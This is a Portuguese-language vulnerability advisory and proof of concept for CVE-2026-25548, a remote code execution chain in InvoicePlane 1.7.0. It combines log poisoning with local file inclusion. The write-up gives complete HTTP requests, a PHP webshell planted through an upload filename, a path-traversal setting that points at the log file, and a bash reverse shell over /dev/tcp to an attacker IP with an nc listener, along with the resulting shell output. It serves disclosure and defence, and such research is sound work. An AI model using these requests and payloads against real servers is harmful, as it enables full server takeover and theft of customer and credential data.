
# Análise Técnica Detalhada e Prova de Conceito para CVE-2026-25548 Escrita técnica detalhada e prova de conceito para CVE-2026-25548, uma RCE crítica no InvoicePlane 1.7.0 via LFI e envenenamento de logs, incluindo cadeia de ataque, requisições PoC e análise de impacto.
Vulnerabilidade: Execução Remota de Código via Inclusão Local de Arquivo + Envenenamento de Log
Produto: InvoicePlane
Versão Afetada: 1.7.0 (e provavelmente versões anteriores)
Gravidade: Crítica
Pontuação CVSS 3.1: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
CWE: CWE-98, CWE-117, CWE-94
Descoberto por: Leonidas Agathos
Data do Relatório: 2026-01-31
Uma cadeia de vulnerabilidades crítica no InvoicePlane 1.7.0 permite que um administrador autenticado alcance Execução Remota de Código (RCE) no servidor subjacente. O ataque combina duas fraquezas:
.php do CodeIgniter, permitindo a injeção de código PHP arbitrário.Quando combinadas, um atacante com acesso de administrador pode comprometer totalmente o servidor como o usuário do servidor web. O acionamento final do RCE é não autenticado (URL pública de fatura).
| Atributo | Valor |
|---|---|
| Arquivo | application/modules/guest/controllers/View.php |
| Linhas | 85, 191 |
| Parâmetro | public_invoice_template (configuração do banco de dados) |
| CWE | CWE-98: Controle Incorreto do Nome do Arquivo para Declaração Include/Require |
Código vulnerável (View.php:85):
$this->load->view('invoice_templates/public/' .
get_setting('public_invoice_template') . '.php', $data);
Código vulnerável (View.php:191):
$this->load->view('quote_templates/public/' .
get_setting('public_quote_template') . '.php', $data);
As configurações public_invoice_template e public_quote_template são recuperadas do banco de dados e concatenadas diretamente em um caminho de arquivo passado para load->view() do CodeIgniter (que resolve para include() do PHP). Não há validação para:
../)Um administrador pode definir esse valor para qualquer caminho no sistema de arquivos, limitado apenas pela extensão .php que é anexada automaticamente.
| Atributo | Valor |
|---|---|
| Arquivo | application/modules/upload/controllers/Upload.php |
| Linhas | 178–184 |
| Parâmetro | Nome do arquivo de upload (dados de formulário multipart HTTP) |
| CWE | CWE-117: Neutralização Incorreta de Saída para Logs |
Código vulnerável (Upload.php:178-184):
private function sanitize_file_name(string $filename): string
{
if (str_contains($filename, '..')
|| str_contains($filename, '/')
|| str_contains($filename, '\\')
|| str_contains($filename, "\0")) {
log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
return '';
}
// ...
}
Quando um nome de arquivo aciona a verificação de path traversal, o nome de arquivo bruto, não sanitizado é gravado diretamente no arquivo de log. Os arquivos de log do CodeIgniter:
.php: application/logs/log-YYYY-MM-DD.php<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>Um atacante que insere <?php system($_GET[1]); ?> no nome do arquivo faz com que esse payload seja gravado no log e posteriormente executado via LFI.
[Usuário autenticado] → Upload de nome de arquivo malicioso → PHP injetado no arquivo de log
[Admin] → Definir configuração de modelo → LFI aponta para o arquivo de log
[Qualquer pessoa] → Visitar URL pública de fatura → RCE
| Passo | Requisito |
|---|---|
| Envenenamento de Log | Usuário autenticado com acesso de upload |
| Configuração de LFI | Conta de administrador |
| Acionamento de RCE | Não autenticado (URL pública de fatura) |
Envie uma solicitação de upload de arquivo com um webshell PHP embutido no nome do arquivo. A verificação de path traversal será acionada e gravará o nome bruto do arquivo (incluindo o payload PHP) no arquivo de log.
Solicitação (via Burp Suite):
POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="_ip_csrf"
<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg
test
------Boundary--
O servidor rejeita o upload (upload_error_invalid_extension), mas a entrada de log já foi gravada:
Resultado em application/logs/log-2026-01-31.php:
ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg
Navegue até a seção Anexos de uma fatura e clique em Adicionar Arquivos para acessar o endpoint de upload.



Como administrador, defina a configuração public_invoice_template para apontar para o arquivo de log de hoje usando um payload de path traversal. O carregador de visualizações do CodeIgniter anexa .php automaticamente.
Solicitação (via Burp Suite):
POST /index.php/settings HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="settings[public_invoice_template]"
../../../logs/log-2026-01-31
------Boundary--
O caminho de traversal resolve de application/views/invoice_templates/public/ até application/logs/ e então inclui log-2026-01-31.php.

Acesse qualquer URL pública de fatura com um comando passado como parâmetro GET 1. Nenhuma autenticação é necessária.
Solicitação:
GET /index.php/guest/view/invoice/<invoice_url_key>?1=id HTTP/1.1
Host: 172.25.0.12
Resposta (no código-fonte da página):
Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
.jpg
O payload system($_GET[1]) executa o comando id e sua saída é refletida inline na página.

Substitua o comando por um payload de reverse shell em bash para obter um shell interativo:
GET /index.php/guest/view/invoice/<invoice_url_key>?1=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.25.131/4444+0>%261' HTTP/1.1
Na máquina do atacante:
nc -lnvp 4444
Resultado:
connect to [192.168.25.131] from (UNKNOWN) [172.25.0.11] 43360
www-data@0dd592f7a424:~/projects/invoiceplane$
Shell interativo completo como www-data.

| Dimensão | Classificação | Detalhe |
|---|---|---|
| Confidencialidade | ALTA | Acesso total de leitura a todos os arquivos acessíveis pelo usuário do servidor web, incluindo credenciais de banco de dados e dados de faturas de clientes |
| Integridade | ALTA | Gravação arbitrária de arquivos, modificação de banco de dados, instalação de webshell |
| Disponibilidade | ALTA | Negação de serviço, implantação de ransomware, destruição do sistema |
| Arquivo | Vulnerabilidade |
|---|---|
application/modules/guest/controllers/View.php:85 | LFI — Modelo de fatura |
application/modules/guest/controllers/View.php:191 | LFI — Modelo de cotação |
application/modules/upload/controllers/Upload.php:182 | Envenenamento de Log |
application/modules/settings/controllers/Settings.php | Sem validação na configuração de modelo |
| Data | Evento |
|---|---|
| 2026-01-30 | Vulnerabilidade descoberta |
| 2026-01-31 | Prova de conceito desenvolvida |
| 2026-01-31 | Fornecedor notificado |
| 2026-02-03 | Reconhecimento do fornecedor |
| 2026-02-03 | Correção lançada |
| 2026-02-04 | Divulgação pública |
Esta vulnerabilidade foi descoberta durante pesquisa de segurança independente. Todas as informações são fornecidas estritamente para fins educacionais, de pesquisa e defensivos, para auxiliar o fornecedor e a comunidade de segurança a entender e corrigir o problema. Qualquer uso malicioso dessas informações é estritamente proibido.